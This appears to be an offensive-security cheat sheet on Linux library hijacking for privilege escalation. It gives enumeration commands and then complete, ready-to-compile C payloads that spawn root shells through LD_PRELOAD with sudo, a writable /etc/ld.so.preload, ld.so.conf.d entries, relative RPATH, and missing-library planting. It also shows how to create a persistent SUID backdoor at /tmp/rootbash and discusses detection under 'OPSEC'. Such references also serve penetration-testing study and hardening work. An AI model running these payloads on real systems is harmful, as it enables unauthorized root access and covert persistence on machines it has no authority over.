Library Hijacking (Linux)
#Overview
Library hijacking exploits the dynamic linker's search order to inject malicious shared objects into privileged processes. When a SUID binary, sudo-allowed command, or root-owned cron job loads a shared library from a writable location, a low-privilege user can replace that library with a malicious version that executes arbitrary code as root.
#Prerequisites
- User-level shell access
- strace, ltrace, or ldd available
- gcc or similar compiler to create shared objects
- Writable directory in the library search path
#Detection & Enumeration
# Check LD_PRELOAD with sudo env_keep
sudo -l | grep -i env
# Check /etc/ld.so.preload
cat /etc/ld.so.preload
ls -la /etc/ld.so.preload
# Check ld.so.conf and included directories
cat /etc/ld.so.conf
ls -la /etc/ld.so.conf.d/
# Find writable directories in library path
ldconfig -p | grep -oP '/[^ ]+' | sort -u | while read dir; do
[ -w "$dir" ] && echo "Writable: $dir"
done
# Check RPATH and RUNPATH of SUID binaries
readelf -d /path/to/suid_binary | grep -E "RPATH|RUNPATH"
objdump -x /path/to/suid_binary | grep -E "RPATH|RUNPATH"
# Find missing libraries via strace
strace /path/to/suid_binary 2>&1 | grep -i "ENOENT\|not found"
BASH
#Exploitation / Execution
#LD_PRELOAD with sudo (env_keep)
When sudo preserves LD_PRELOAD:
# Verify sudo -l shows env_keep includes LD_PRELOAD
sudo -l
# Create malicious shared object
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0); setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
# Execute with sudo and LD_PRELOAD
sudo LD_PRELOAD=/tmp/exploit.so <allowed_command>
BASH
#/etc/ld.so.preload
If this file is writable or missing:
# Check permissions
ls -la /etc/ld.so.preload
# If writable, add your malicious library
echo "/tmp/exploit.so" > /etc/ld.so.preload
# Create the exploit.so as above
# Every subsequent command run by any user (including root's cron jobs) will load exploit.so
BASH
#Writable ld.so.conf.d/ Configurations
# Check if the config directory is writable
ls -la /etc/ld.so.conf.d/
# If writable, create a new config pointing to your malicious library path
echo "/tmp" > /etc/ld.so.conf.d/exploit.conf
# Copy exploit.so to /tmp
# Run ldconfig (may require root -- but will be run eventually by system)
ldconfig
# Or wait for a system update that triggers ldconfig
BASH
#RPATH/RUNPATH Relative Path Exploitation
When a SUID binary has a relative RPATH or RUNPATH:
# Check RPATH
readelf -d /usr/local/bin/vulnerable_suid | grep RPATH
# Example: RPATH = $ORIGIN/lib (relative to binary location)
# If we can write to the binary's directory:
cp /usr/local/bin/vulnerable_suid /tmp/
# Now RPATH resolves to /tmp/lib
mkdir /tmp/lib
# Create malicious shared object matching a library the binary loads
ldd /tmp/vulnerable_suid
# Copy a dependency name and create exploit.so with that name
cp /tmp/exploit.so /tmp/lib/libdependency.so
# Run the binary (it loads our library due to RPATH)
/tmp/vulnerable_suid
BASH
#Missing Library Detection
# Run SUID binary under strace to identify missing libraries
strace /usr/local/bin/suid_binary 2>&1 | grep "ENOENT" | grep "\.so"
# Example output: open("/home/user/lib/libhelper.so") = -1 ENOENT
# Create the missing library
mkdir -p /home/user/lib
cat > /tmp/missing.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0); setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /home/user/lib/libhelper.so /tmp/missing.c
# Run the SUID binary -- it loads our library now
/usr/local/bin/suid_binary
BASH
#Shared Object Structure
# Minimal escalation library:
cat > lib_exploit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
// _init runs before main()
__attribute__((constructor)) void init() {
if (geteuid() == 0) {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");
}
}
// Alternative: hook a specific function
// If the binary calls system("ls"), override system():
// int system(const char *cmd) { ... }
EOF
gcc -shared -fPIC -o lib_exploit.so lib_exploit.c
BASH
#Common Pitfalls
- LD_PRELOAD must be preserved by sudo's env_keep -- by default it is NOT preserved
- Libraries loaded via /etc/ld.so.preload affect ALL processes -- including your own shell
- RPATH-based attacks require writing to the binary's location or a relative path that is writable
- The
_init()and__attribute__((constructor))functions run during library loading; if they crash, the parent process crashes - Some systems have
nosuidmount option or other restrictions preventing SUID binary execution from /tmp - Libraries loaded by
dlopen()follow different search rules than those loaded at program start
#OPSEC Considerations
- Creating shared objects in /tmp is standard development practice, not inherently suspicious.
- Modifying /etc/ld.so.preload is a system-wide change and will be detected by file integrity monitoring.
- strace on SUID binaries generates audit events and may be blocked by ptrace restrictions.
- Libraries loaded with LD_PRELOAD appear in /proc/<PID>/maps -- visible to process monitoring tools.
#Post-Exploitation Value
Library hijacking provides root command execution. The SUID backdoor created by the exploit (/tmp/rootbash) provides persistent root access. Since many processes load shared libraries, the scope of hijacking can extend beyond the initial target binary.
#Cross-References
#Source Machines
- Generic Linux - LD_PRELOAD preserved via sudo env_keep